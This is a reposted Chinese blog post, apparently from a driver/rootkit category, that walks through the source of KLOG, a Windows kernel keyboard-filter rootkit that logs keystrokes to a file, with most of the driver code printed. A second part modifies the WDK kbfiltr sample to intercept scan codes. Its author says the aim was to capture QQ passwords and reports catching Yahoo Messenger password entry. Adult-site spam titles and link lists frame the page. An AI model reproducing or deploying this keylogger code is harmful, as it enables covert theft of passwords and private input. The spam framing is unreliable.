青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

The KLOG Rootkit:A Walk-through

我們的叫做KLOG的鍵盤監(jiān)視例子,是Clandestiny所寫的并在在www.rootkit.com上發(fā)表了。下面我們來瀏覽分析一下她的代碼。

ps:一個比較流行的鍵盤分層過濾驅(qū)動可以在www.sysinternals.com上找到。名字為ctrl2cap。KLOG就是在它的基礎(chǔ)上完成的。

ROOTKIT.COM
這個程序的介紹能在下面找到:
www.rootkit.com/newsread.php?newsid=187
你可以在Clandestiny在ROOT.COM的個人空間中下載到。

你得明白KLOG這個例子是針對US的鍵盤布局的。因?yàn)槊總€擊鍵都被作為掃描碼發(fā)送,而不是你所按的鍵的實(shí)際字母,所以把掃描碼轉(zhuǎn)化為字母的步驟是必要的。這種映射依賴鍵盤的布局。

首先,DriverEntry被調(diào)用:

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,

                    IN PUNICODE_STRING RegistryPath )

{

NTSTATUS Status = {0};

然后,一個函數(shù)被設(shè)置來專門用于為鍵盤讀取請求。KLOG的函數(shù)DispatchRead:

// Explicitly fill in the IRP handlers we want to hook.

pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;

驅(qū)動對象現(xiàn)在已經(jīng)設(shè)置好了,你還得把它連到鍵盤設(shè)備鏈中。這個功能由函數(shù)HookKeyboard來完成:

// Hook the keyboard now.

HookKeyboard(pDriverObject);

看清楚HookKeyboard這個函數(shù),如下:

NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)

{

// the filter device object

PDEVICE_OBJECT pKeyboardDeviceObject;

IoCreateDevice被用來創(chuàng)建設(shè)備對象。注意這個設(shè)備是沒有名字的,還有,它是FILE_DEVICE_KEYBOARD類別的。還有,用到了DEVICE_EXTENSION結(jié)構(gòu)的大小,它是個用戶自定義的結(jié)構(gòu)。

// Create a keyboard device object.

NTSTATUS status = IoCreateDevice(pDriverObject,

                                   sizeof(DEVICE_EXTENSION),

                                   NULL,// no name

                                   FILE_DEVICE_KEYBOARD,

                                   0,

                                   true,

                                   &pKeyboardDeviceObject);

// Make sure the device was created.

if(!NT_SUCCESS(status))

return status;

為了與那些下面的鍵盤設(shè)備區(qū)分開來,跟新設(shè)備有關(guān)聯(lián)的標(biāo)志應(yīng)該設(shè)置成唯一的。你可以通過DeviceTree之類的工具來來獲得這方面的信息。在寫鍵盤過濾驅(qū)動時,下面這些標(biāo)志也許會用到:

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags

 | (DO_BUFFERED_IO | DO_POWER_PAGABLE);

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags &

 ~DO_DEVICE_INITIALIZING;

記得當(dāng)設(shè)備對象被創(chuàng)建的時候,用到了DEVICE_EXTENSION結(jié)構(gòu)的大小。這是任意一塊能用來存儲數(shù)據(jù)的不被分頁的內(nèi)存(也就是不用從頁面文件讀取的)。這塊數(shù)據(jù)與該設(shè)備對象有練習(xí)。KLOG定義的DEVICE_EXTENSION結(jié)構(gòu)如下:

typedef struct _DEVICE_EXTENSION

{

  PDEVICE_OBJECT pKeyboardDevice;

  PETHREAD pThreadObj;

  bool bThreadTerminate;

  HANDLE hLogFile;

  KEY_STATE kState;

  KSEMAPHORE semQueue;

  KSPIN_LOCK lockQueue;

  LIST_ENTRY QueueListHead;

}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

HookKeyboard函數(shù)對該結(jié)構(gòu)清零并創(chuàng)建一個指針來初始化某些成員:

RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,

                sizeof(DEVICE_EXTENSION));

// Get the pointer to the device extension.

  PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;

插入層中的該鍵盤設(shè)備名字叫KeyboardClass0。其被轉(zhuǎn)化為UNICODE字符串,并且過濾鉤子通過調(diào)用IoAttachDevice()來實(shí)現(xiàn)。指向設(shè)備鏈中的下一個設(shè)備的指針存在pKeyboardDeviceExtension->pKeyboardDevice中。該指針被用來把IRPS傳遞給設(shè)備鏈中的下一個設(shè)備。

 

CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";

  STRING  ntNameString;

  UNICODE_STRING uKeyboardDeviceName;

  RtlInitAnsiString(&ntNameString, ntNameBuffer);

  RtlAnsiStringToUnicodeString(&uKeyboardDeviceName,

                               &ntNameString,

                               TRUE );

  IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName,

                 &pKeyboardDeviceExtension->pKeyboardDevice);

  RtlFreeUnicodeString(&uKeyboardDeviceName);

  return STATUS_SUCCESS;

}// end HookKeyboard

假定HookKeyboard一切都好,我們看看KLOG在DriverMain中繼續(xù)處理其他的東東。下一步就是創(chuàng)建一個工作者線程(也就是后臺線程,無用戶界面的)用來把擊鍵紀(jì)錄到log文件中。工作者線程是必要的,因?yàn)槲募僮髟贗RP處理函數(shù)中是不可能的。當(dāng)掃描碼已經(jīng)進(jìn)入IRPs,系統(tǒng)運(yùn)行在DISPATCH IRQ level上,這時是不允許進(jìn)行文件操作的。在把擊鍵傳送到一個共享緩存時,工作者線程能夠訪問它們并且把它們寫到文件中去。工作者線程運(yùn)行在一個不同的IRQ level----PASSIVE上,這個level文件操作是允許的。工作者線程的設(shè)置在InitThreadKeyLogger函數(shù)中實(shí)現(xiàn):

InitThreadKeyLogger(pDriverObject);

InitThreadKeyLogger函數(shù)的實(shí)現(xiàn)如下:

NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject)

{

一個設(shè)備擴(kuò)展的指針被用來初始化更多的成員。KLOG存儲線程的狀態(tài)在bThreadTerminate中。線程運(yùn)行時其應(yīng)該設(shè)置為false。

PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject-

>DeviceObject->DeviceExtension;

// Set the worker thread to running state in device extension.

  pKeyboardDeviceExtension->bThreadTerminate = false;

工作者線程通過調(diào)用PsCreateSystemThread來創(chuàng)建。可以看到,線程函數(shù)名稱為ThreadKeyLogger并且設(shè)備擴(kuò)展作為一個參數(shù)傳遞給線程函數(shù)。

// Create the worker thread.

HANDLE hThread;

NTSTATUS status = PsCreateSystemThread(&hThread,

                                       (ACCESS_MASK)0,

                                       NULL,

                                       (HANDLE)0,

                                       NULL,

                                       ThreadKeyLogger,

                                       pKeyboardDeviceExtension);

if(!NT_SUCCESS(status))

return status;

線程對象的指針存儲在設(shè)備擴(kuò)展中:

// Obtain a pointer to the thread object.

ObReferenceObjectByHandle(hThread,

                   THREAD_ALL_ACCESS,

                   NULL,

                   KernelMode,

                   (PVOID*)&pKeyboardDeviceExtension->pThreadObj,

                   NULL);

// We don't need the thread handle.

ZwClose(hThread);

return status;

}

回到DriverEntry,線程已經(jīng)準(zhǔn)備好了。一個共享鏈接鏈表被初始化并且存儲在設(shè)備擴(kuò)展中。該鏈表將包含捕獲到的擊鍵。

PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;

InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

一個spinlock被初始化來同步對鏈接鏈表的訪問。這使得鏈接鏈表的線程安全可靠,這是非常重要的。如果KLOG沒有使用spinlock,當(dāng)兩個線程試圖同時訪問該鏈接鏈表時,可能會導(dǎo)致藍(lán)屏錯誤。semaphore(信號量)知道在工作隊(duì)列中項(xiàng)目的數(shù)量。

// Initialize the lock for the linked list queue.

KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);

// Initialize the work queue semaphore.

KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0, MAXLONG);

下面的代碼打開一個文件,c:\klog.txt,用于記錄擊鍵。

// Create the log file.

  IO_STATUS_BLOCK file_status;

  OBJECT_ATTRIBUTES obj_attrib;

  CCHAR  ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";

  STRING ntNameString;

  UNICODE_STRING uFileName;

  RtlInitAnsiString(&ntNameString, ntNameFile);

  RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE);

  InitializeObjectAttributes(&obj_attrib, &uFileName,

                             OBJ_CASE_INSENSITIVE,

                             NULL,

                             NULL);

  Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,

                        GENERIC_WRITE,

                        &obj_attrib,

                        &file_status,

                        NULL,

                        FILE_ATTRIBUTE_NORMAL,

                        0,

                        FILE_OPEN_IF,

                        FILE_SYNCHRONOUS_IO_NONALERT,

                        NULL,

                        0);

  RtlFreeUnicodeString(&uFileName);

  if (Status != STATUS_SUCCESS)

  {

    DbgPrint("Failed to create log file...\n");

    DbgPrint("File Status = %x\n",file_status);

  }

  else

  {

    DbgPrint("Successfully created log file...\n");

    DbgPrint("File Handle = %x\n",

    pKeyboardDeviceExtension->hLogFile);

  }


Finally, a DriverUnload routine is specified for cleanup purposes:


// Set the DriverUnload procedure.

  pDriverObject->DriverUnload = Unload;

  DbgPrint("Set DriverUnload function pointer...\n");

  DbgPrint("Exiting Driver Entry......\n");

  return STATUS_SUCCESS;

}

此時,KLOG驅(qū)動掛鉤到了設(shè)備鏈中并且開始獲取擊鍵IRPs。被調(diào)用來讀取request的函數(shù)為DispatchRead。看一下這個函數(shù):

NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)

{

當(dāng)一個讀請求被提交給鍵盤控制器時,該函數(shù)被調(diào)用。此時,IRP中沒有任何數(shù)據(jù)能為我們所用。我們只是在擊鍵被捕獲之后才想看到IRP--當(dāng)IRP在它回到設(shè)備鏈的路上時。

唯一的獲知IRP已經(jīng)完成的方法就是設(shè)置一個"完成函數(shù)"(a completion routine)。如果我們不設(shè)置"完成函數(shù)",IRP回到設(shè)備鏈的時候我們的東東就被忽略了。

當(dāng)我們傳遞IRP到下一個在設(shè)備鏈中最底層的設(shè)時備時,我們需要設(shè)置IRP堆棧指針。堆棧在這里是容易讓人誤解的。每一個設(shè)備都簡單地?fù)碛幸粋€私有的內(nèi)存區(qū)可以與每一個IRP使用。這些私有的區(qū)域被以一定的次序安排。你可以用IoGetCurrentIrpStackLocation 和 IoGetNextIrpStackLocation來獲得這些私有區(qū)域的指針。一個"目前"指針必須正指向下一個最底層驅(qū)動的私有區(qū)域在IRP被傳遞之前。所以,在調(diào)用IoCallDriver之前,調(diào)用IoCopyCurrentIrpStackLocationToNext:

// Copy parameters down to next level in the stack

// for the driver below us.

IoCopyCurrentIrpStackLocationToNext(pIrp);

Note that the completion routine is named "OnReadCompletion":

// Set the completion callback.

IoSetCompletionRoutine(pIrp,

                    OnReadCompletion,

                    pDeviceObject,

                    TRUE,

                    TRUE,

                    TRUE);

未決的IRPs的數(shù)量被記錄以使KLOG不會被卸載除非處理完畢。

// Track the # of pending IRPs.

numPendingIrps++;

最后,IoCallDriver被用于傳遞IRP到在設(shè)備鏈中的下一個最底層的設(shè)備。記得指向下一個最底層設(shè)備的指針存儲在設(shè)備擴(kuò)展結(jié)構(gòu)中的pKeyboardDevice中。

// Pass the IRP on down to \the driver underneath us.

  return IoCallDriver(

((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice, pIrp);

}// end DispatchRead

現(xiàn)在我們可以看到每一個READ IRP,一旦被處理完畢,我們就可以調(diào)用OnReadComletion函數(shù)。讓我們看一下關(guān)于此的一些細(xì)節(jié):

NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,

                          IN PIRP pIrp, IN PVOID Context)

{

// Get the device extension - we'll need to use it later.

  PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject
->DeviceExtension;


該IRP的狀態(tài)被檢查。將其看作返回值,或者錯誤值。如果該值被設(shè)置為STATUS_SUCCESS,那就意味著IRP已經(jīng)成功完成,并且它應(yīng)該有一些擊鍵數(shù)據(jù)。SystemBuffer成員指向KEYBOARD_INPUT_DATA結(jié)構(gòu)數(shù)組。IoStatus.Information成員包含有該數(shù)組的長度。

// If the request has completed, extract the value of the key.

  if(pIrp->IoStatus.Status == STATUS_SUCCESS)

  {

PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)

pIrp->AssociatedIrp.SystemBuffer;

int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);


KEYBOARD_INPUT_DATA結(jié)構(gòu)的定義如下:

typedef struct _KEYBOARD_INPUT_DATA {

 USHORT UnitId;

 USHORT MakeCode;

 USHORT Flags;

 USHORT Reserved;

 ULONG ExtraInformation;

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

KLOG現(xiàn)在通過所有的數(shù)組成員進(jìn)行循環(huán),從其中獲得每一個擊鍵:

for(int i = 0; i < numKeys; i++)

{

     DbgPrint("ScanCode: %x\n", keys[i].MakeCode);


注意,我們接收兩個事件:按鍵,松開鍵。對于一個簡單的鍵盤監(jiān)視來說,我們僅僅需要關(guān)注其中的一個。在這里,KEY_MAKE是一個重要的標(biāo)記。

   

  if(keys[i].Flags == KEY_MAKE)

      DbgPrint("%s\n","Key Down");

記得該"完成函數(shù)"在DISPATCH_LEVEL IRQL被調(diào)用,這意味著文件操作是不允許的。為了繞過這個限制,KLOG通過一個共享鏈接鏈表把擊鍵傳遞給工作者線程。臨界區(qū)必須用來同步該共享鏈接鏈表的訪問。內(nèi)核強(qiáng)行實(shí)施一條規(guī)則:在某一時刻只有一個線程能夠訪問某個臨界區(qū)。(Technical note:A deferred procedure call [DPC] cannot be used here, since a DPC runs at DISPATCH_LEVEL also.)
  

KLOG分配了一些NonPagedPool的內(nèi)存并把掃描碼放到這些內(nèi)存中。然后又從這些內(nèi)存中放到鏈接鏈表中。Again,由于我們運(yùn)行在DISPATCH level,內(nèi)存僅能從NonPagedPool中分配。

 

KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));

// Fill in kData structure with info from IRP.

  kData->KeyData = (char)keys[i].MakeCode;

  kData->KeyFlags = (char)keys[i].Flags;

// Add the scan code to the linked list

// queue so our worker thread

// can write it out to a file.

  DbgPrint("Adding IRP to work queue...");

ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,

                           &kData->ListEntry,

                           &pKeyboardDeviceExtension->lockQueue);

The semaphore is incremented to indicate that some data needs to be processed:

// Increment the semaphore by 1 - no WaitForXXX after this call.

  KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,

                     0,

                     1,

                     FALSE);

   }// end for

  }// end if

// Mark the IRP pending if necessary.

  if(pIrp->PendingReturned)

   IoMarkIrpPending(pIrp);


Since KLOG is finished processing this IRP, the IRP count is decremented:


  numPendingIrps-;

  return pIrp->IoStatus.Status;

}// end OnReadCompletion


At this point, a keystroke has been saved in the linked list and is available to the worker thread. Let's now look at the worker thread routine:


VOID ThreadKeyLogger(IN PVOID pContext)

{

  PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION)pContext;

  PDEVICE_OBJECT pKeyboardDeviceObject =

pKeyboardDeviceExtension->pKeyboardDevice;

  PLIST_ENTRY pListEntry;

  KEY_DATA* kData; // custom data structure used to

                   // hold scancodes in the linked list

現(xiàn)在KLOG進(jìn)入了一個循環(huán)。該代碼等待使用KeWaitForSingleObject的信號量(semaphore)的到來。如果信號量增加,循環(huán)就繼續(xù)。

while(true)

  {

   // Wait for data to become available in the queue.

   KeWaitForSingleObject(

               &pKeyboardDeviceExtension->semQueue,

               Executive,

               KernelMode,

               FALSE,

               NULL);

頂端節(jié)點(diǎn)從鏈接鏈表中安全移除。注意臨界區(qū)的使用。

 

pListEntry = ExInterlockedRemoveHeadList(

                        &pKeyboardDeviceExtension->QueueListHead,

                        &pKeyboardDeviceExtension->lockQueue);

內(nèi)核線程不能夠?yàn)橥獠克K止,要終止它只能靠它自己。這里KLOG檢查一個標(biāo)志位來決定它是否應(yīng)該終止工作者線程。在KLOG卸載時才會這么做。

if(pKeyboardDeviceExtension->bThreadTerminate == true)

{

    PsTerminateSystemThread(STATUS_SUCCESS);

}

CONTAINING_RECORD宏必須用來獲得指向在pListEntry結(jié)構(gòu)中的數(shù)據(jù)的指針。

kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);


這里KLOG獲得掃描碼并將其轉(zhuǎn)化為字符碼。這通過一個有用的函數(shù)ConvertScanCodeToKeyCode來實(shí)現(xiàn)。該函數(shù)僅僅適用于US English鍵盤布局,當(dāng)然,改一下就可用在其他的鍵盤布局了。

// Convert the scan code to a key code.

  char keys[3] = {0};

  ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);

// Make sure the key has returned a valid code

// before writing it to the file.

  if(keys != 0)

  {

如果文件句柄是有效的,使用ZwWriteFile來講字符碼寫到紀(jì)錄文件中。

// Write the data out to a file.

   if(pKeyboardDeviceExtension->hLogFile != NULL)

   {

     IO_STATUS_BLOCK io_status;

     NTSTATUS status = ZwWriteFile(

                            pKeyboardDeviceExtension->hLogFile,

                            NULL,

                            NULL,

                           NULL,

                           &io_status,

                           &keys,

                           strlen(keys),

                           NULL,

                           NULL);

     if(status != STATUS_SUCCESS)

        DbgPrint("Writing scan code to file...\n");

     else

        DbgPrint("Scan code '%s' successfully written to file.\n",keys);

     }// end if

   }// end if

  }// end while

  return;

}// end ThreadLogKeyboard


KLOG的基本功能已經(jīng)完成了。看一下Unload函數(shù)。

VOID Unload( IN PDRIVER_OBJECT pDriverObject)

{

// Get the pointer to the device extension.

  PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;

  DbgPrint("Driver Unload Called...\n");

驅(qū)動必須unhook該設(shè)備通過IoDetachDevice:

// Detach from the device underneath that we're hooked to.

  IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);

  DbgPrint("Keyboard hook detached from device...\n");

這里用了一個timer,KLOG進(jìn)入一個簡短的循環(huán)直到所有的IRPs都被處理完。

// Create a timer.

  KTIMER kTimer;

  LARGE_INTEGER timeout;

  timeout.QuadPart = 1000000;// .1 s

  KeInitializeTimer(&kTimer);

如果一個IRP正在等待一個擊鍵,upload就不會完成指導(dǎo)這個鍵被按下了:

 

while(numPendingIrps > 0)

  {

   // Set the timer.

   KeSetTimer(&kTimer,timeout,NULL);

   KeWaitForSingleObject(

               &kTimer,

               Executive,

               KernelMode,

               false,

               NULL);

  }

現(xiàn)在KLOG說明工作者線程應(yīng)該結(jié)束了:

// Set our key logger worker thread to terminate.

  pKeyboardDeviceExtension->bThreadTerminate = true;

// Wake up the thread if its blocked & WaitForXXX after this call.

  KeReleaseSemaphore(

               &pKeyboardDeviceExtension->semQueue,

               0,

               1,

               TRUE);

KLOG通過線程指針調(diào)用KeWaitForSingleObject,等待直到工作者線程被終止:

// Wait until the worker thread terminates.

  DbgPrint("Waiting for key logger thread to terminate...\n");

  KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,

                        Executive,

                        KernelMode,

                        false,NULL);

  DbgPrint("Key logger thread terminated\n");


最后,關(guān)閉記錄文件。

// Close the log file.

  ZwClose(pKeyboardDeviceExtension->hLogFile);


還有,一些清理工作應(yīng)該做一下:

// Delete the device.

  IoDeleteDevice(pDriverObject->DeviceObject);

  DbgPrint("Tagged IRPs dead...Terminating...\n");

  return;

}


這樣,鍵盤監(jiān)控就完成了。這無疑是很重要的一份代碼--一個了不起的通向其他分層的ROOTKITS的起點(diǎn)。毫無疑問,就單單鍵盤監(jiān)控就已經(jīng)是我們所應(yīng)掌握的最有價值的ROOTKITS之一了。擊鍵告訴我們太多了,這還用說嗎?

 

 

 



Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=622112

 

 

http://hi.baidu.com/widebright/blog/item/ee0a5e60c1cb03de8db10dc4.html

鍵盤驅(qū)動的一些編程資料
2007年04月19日 星期四 21:57
Windows Driver Kit: Human Input Devices
Driver Stacks for Non-HIDClass Keyboard and Mouse Devices

The following figure illustrates the driver stacks for PS/2 keyboard and mouse devices, and serial mouse devices.

Driver Stacks for Non-HIDClass Keyboard and Mouse Devices

Vendor drivers for PS/2 and serial keyboard and mouse devices are not required.

Vendors can supply a filter driver for a PS/2 keyboard and mouse — see Features of the Kbfiltr and Moufiltr Drivers.

For more information about supporting non-HIDClass keyboard and mouse devices, see the following:

Serial Devices and Drivers

看字面上的意思好像可以自己實(shí)現(xiàn)中間黑色的那層,然后就可以得到鍵盤的數(shù)據(jù)。在那層微軟留了幾個接口函數(shù),可以讓你自己實(shí)現(xiàn)鍵盤數(shù)據(jù)獲取過濾等功能:

Windows Driver Kit: Human Input Devices
Kbfiltr Callback Routines

This section describes the Kbfiltr callback routines:

KbFilter_ServiceCallback

 

像在KbFilter_ServiceCallback這個函數(shù)中就可以得到鍵盤的按鍵數(shù)據(jù)

Windows Driver Kit: Human Input Devices
KbFilter_ServiceCallback

The KbFilter_ServiceCallback routine is a template for a filter service callback routine that supplements the operation of KeyboardClassServiceCallback.

VOID
     KbFilter_ServiceCallback(
       IN PDEVICE_OBJECT  DeviceObject,
       IN PKEYBOARD_INPUT_DATA  InputDataStart,
       IN PKEYBOARD_INPUT_DATA  InputDataEnd,
       IN OUT PULONG  InputDataConsumed
       );

Parameters

DeviceObject
Pointer to the class device object.
InputDataStart
Pointer to the first keyboard input data packet in the input data buffer of the port device.
InputDataEnd
Pointer to the keyboard input data packet that immediately follows the last data packet in the input data buffer of the port device.
InputDataConsumed
Pointer to the number of keyboard input data packets that are transferred by the routine.

 

Return Value

None

Headers

Declared in kbfiltr.h. Include kbfiltr.h.

Comments

The ISR dispatch completion routine of the function driver calls KbFilter_ServiceCallback, which then calls KeyboardClassServiceCallback. A vendor can implement a filter service callback to modify the input data that is transferred from the device's input buffer to the class data queue. For example, the callback can delete, transform, or insert data.

For more information about customizing the keyboard class service callback, see Connect a Class Service Callback and a Filter Service Callback to a Device.

KbFilter_ServiceCallback runs in kernel mode at IRQL DISPATCH_LEVEL.

See Also

KeyboardClassServiceCallback, KEYBOARD_INPUT_DATA

 

--------------------------------------------------------------------------------------------------

Windows Driver Kit: Human Input Devices
KEYBOARD_INPUT_DATA

KEYBOARD_INPUT_DATA contains one packet of keyboard input data.

typedef struct _KEYBOARD_INPUT_DATA {
     USHORT     UnitId;
     USHORT     MakeCode;
     USHORT     Flags;
     USHORT     Reserved;
     ULONG     ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

Members

UnitId
Specifies the unit number of a keyboard device. A keyboard device name has the format \Device\KeyboardPortN, where the suffix N is the unit number of the device. For example, a device, whose name is \Device\KeyboardPort0, has a unit number of zero, and a device, whose name is \Device\KeyboardPort1, has a unit number of one.

 

MakeCode
Specifies the scan code associated with a key press.
Flags
Specifies a bitwise OR of one or more of the following flags that indicate whether a key was pressed or released, and other miscellaneous information.
Value Meaning
KEY_MAKE The key was pressed.
KEY_BREAK The key was released.
KEY_E0 Extended scan code used to indicate special keyboard functions. See the Kbdclass sample code.
KEY_E1 Extended scan code used to indicate special keyboard functions. See the Kbdclass sample code.

 

Reserved
Reserved for operating system use.
ExtraInformation
Specifies device-specific information associated with a keyboard event.

 

Headers

Declared in ntddkbd.h. Include ntddkbd.h.

Comments

In response to an IRP_MJ_READ (Kbdclass) request, Kbdclass transfers zero or more KEYBOARD_INPUT_DATA structures from its internal data queue to the Win32 subsystem buffer.

See Also

IRP_MJ_READ (Kbdclass), KeyboardClassServiceCallback

-------------------------------------------------------------------------------------------------------

根據(jù)WinDDK中的kbfiltr這個例子,稍稍改了一下就可以得到一個鍵盤過濾驅(qū)動了。本來是想通過鍵盤驅(qū)動來獲取QQ的密碼的。不過好像QQ棋高一著,得到輸入密碼的時候,自己寫的驅(qū)動的KbFilter_ServiceCallback函數(shù)中一直得不到鍵盤數(shù)據(jù),看來是QQ自己的鍵盤驅(qū)動搶先一步完成IRP了。不知道怎么設(shè)置才能使自己的驅(qū)動處于比npkcrypt.sys (QQ的鍵盤驅(qū)動)更低的層次,不然是得不到鍵盤數(shù)據(jù)了。

(未完待續(xù))

=======================================================================

修改后的用DbgPrint來打印鍵盤掃描碼的程序的KeyboardClassServiceCallback 回調(diào)函數(shù)

 

VOID
KbFilter_ServiceCallback(
     IN PDEVICE_OBJECT DeviceObject,
     IN PKEYBOARD_INPUT_DATA InputDataStart,
     IN PKEYBOARD_INPUT_DATA InputDataEnd,
     IN OUT PULONG InputDataConsumed
     )
/*++

Routine Description:

     Called when there are keyboard packets to report to the RIT.   You can do
     anything you like to the packets.   For instance:
    
     o Drop a packet altogether
     o Mutate the contents of a packet
     o Insert packets into the stream
                    
Arguments:

     DeviceObject - Context passed during the connect IOCTL
    
     InputDataStart - First packet to be reported
    
     InputDataEnd - One past the last packet to be reported.   Total number of
                    packets is equal to InputDataEnd - InputDataStart
    
     InputDataConsumed - Set to the total number of packets consumed by the RIT
                         (via the function pointer we replaced in the connect
                         IOCTL)

Return Value:

     Status is returned.

--*/
{   

     PDEVICE_EXTENSION    devExt;

/****************************************************************/

       ULONG   i;
       ULONG num;
       ULONG   keycode;
       PKEYBOARD_INPUT_DATA   data;

               data =InputDataStart;
               num=InputDataEnd-InputDataStart;
      DbgPrint(("Keyboard Filter Driver Sample - in the ServiceCallback function \n"));
     for(i=0;i<num;i++)
     {
        /*DebugPrint(("Keyboard Filter Driver Sample - keycode="));*/
        keycode= data->MakeCode;           //得到按鍵掃描碼
        DbgPrint("Keyboard Filter Driver Sample - keycode=%u\n",keycode );
        data++;
     }
     
             
/*****************************************************************/

     devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;

     (*(PSERVICE_CALLBACK_ROUTINE) devExt->UpperConnectData.ClassService)(
         devExt->UpperConnectData.ClassDeviceObject,
         InputDataStart,
         InputDataEnd,
         InputDataConsumed);

 


}

安裝自己修改后的鍵盤過濾驅(qū)動后(怎么安裝參考WinDDK說明),就可以截獲鍵盤數(shù)據(jù)了。每次鍵盤按下和彈起,用Dbgview.exe都可以查看到數(shù)據(jù)比如按下“D”鍵時可以得到33的掃描碼。   實(shí)際測試發(fā)現(xiàn)可以攔下像雅虎通等程序的密碼輸入時的按鍵信息。應(yīng)該是除了QQ的密碼輸入之外,其他地方的按鍵信息都可以攔下了。在網(wǎng)上找了一下資料,說是QQ采用一個韓國公司的鍵盤加密數(shù)據(jù)技術(shù),在QQ密碼輸入的時候修改了系統(tǒng)的鍵盤中斷IDT了。

怎么樣在windows系統(tǒng)下修改鍵盤中斷向量呢?繼續(xù)學(xué)習(xí)吧!!

posted on 2008-05-14 13:45 葉子 閱讀(3646) 評論(0)  編輯 收藏 引用 所屬分類: 驅(qū)動開發(fā)rootkit

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲国产精品成人精品| 国产精品女同互慰在线看| 欧美va亚洲va国产综合| 亚洲国产精品美女| 欧美精品自拍偷拍动漫精品| 这里只有视频精品| 欧美在线一二三四区| 尤物视频一区二区| 欧美黄色小视频| 亚洲一区黄色| 牛人盗摄一区二区三区视频| av成人激情| 国产欧美日韩精品在线| 老司机午夜精品视频在线观看| 亚洲激情av| 欧美影院一区| 亚洲日本理论电影| 国产精品一区免费在线观看| 久久天堂成人| 亚洲午夜日本在线观看| 另类成人小视频在线| 亚洲视频免费| 韩日精品视频一区| 欧美色欧美亚洲另类二区| 欧美在线一区二区三区| 亚洲免费av观看| 美女精品一区| 亚洲欧美国产日韩中文字幕| 在线日韩电影| 国产欧美日韩激情| 欧美日韩免费| 久久亚洲高清| 亚洲欧美一区二区三区极速播放 | 亚洲黄色影片| 欧美在线看片| 在线视频日本亚洲性| 在线播放亚洲一区| 国产欧美一区二区色老头 | 亚洲一区二区三区午夜| 欧美激情中文字幕乱码免费| 欧美一区二区三区视频在线观看 | 日韩午夜免费视频| 国精品一区二区| 国产精品区二区三区日本| 美女视频黄a大片欧美| 欧美一级精品大片| 亚洲视频狠狠| 日韩一区二区电影网| 欧美国产先锋| 女女同性精品视频| 久久久久久婷| 欧美一区二区三区四区夜夜大片| 亚洲香蕉伊综合在人在线视看| 亚洲日本中文字幕免费在线不卡| 国内精品亚洲| 国户精品久久久久久久久久久不卡| 国产精品你懂得| 国产精品福利在线观看| 欧美天天视频| 欧美日韩在线看| 欧美日韩一区二区三区在线| 欧美激情综合亚洲一二区 | 中日韩美女免费视频网址在线观看| 亚洲国产成人91精品| 精品91久久久久| 狠狠色香婷婷久久亚洲精品| 国产综合久久| 一区在线观看视频| 精品成人一区二区| 在线观看日韩av电影| 狠狠综合久久av一区二区小说| 国产一区二区黄| 国内精品久久久久久| 狠狠久久亚洲欧美专区| 樱桃成人精品视频在线播放| 狠狠色丁香久久综合频道| 好男人免费精品视频| 亚洲高清免费视频| 亚洲人成毛片在线播放女女| 日韩视频在线一区| 中文高清一区| 欧美一级大片在线观看| 久久福利毛片| 免费日韩一区二区| 亚洲国产精品成人va在线观看| 最新成人在线| 亚洲天堂网在线观看| 亚洲欧美一区二区精品久久久| 久久av在线| 另类尿喷潮videofree| 欧美极品影院| 国产美女扒开尿口久久久| 国产一区二区三区在线观看免费视频| 国内精品99| 亚洲日本电影在线| 亚洲欧美视频一区| 久久婷婷亚洲| 亚洲精品中文字幕在线观看| 亚洲伊人伊色伊影伊综合网| 